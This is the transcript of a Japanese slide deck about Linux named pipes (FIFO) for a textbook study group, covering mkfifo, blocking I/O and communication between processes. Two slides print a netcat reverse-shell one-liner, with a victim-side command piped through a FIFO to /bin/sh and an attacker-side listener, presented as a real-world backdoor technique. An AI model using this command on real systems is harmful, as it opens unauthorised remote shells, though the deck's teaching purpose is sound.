Upgrade to Pro — share decks privately, control downloads, hide ads and more …

名前付きパイプ FIFO

Osumi, Yusuke
February 13, 2021

名前付きパイプ FIFO

「新しいLinuxの教科書」を読む会 オンライン #10 での発表資料です。
https://linuxbook.connpass.com/event/202890/

Osumi, Yusuke

February 13, 2021
Tweet

More Decks by Osumi, Yusuke

Other Decks in Technology

Transcript

  1. 名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo

    "Hello" > fifo 今度は書き込むとブロックされない
  2. 名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1.

    入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
  3. 5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man

    mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
  4. 6 $ cat sample.txt | sort $ cat sample.txt >

    fifo $ sort < fifo 無名パイプ 名前付きパイプ
  5. プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信

    名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
  6. 高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc <IP> <port> <

    /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
  7. もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc <IP> <port> <

    /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp <port> ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る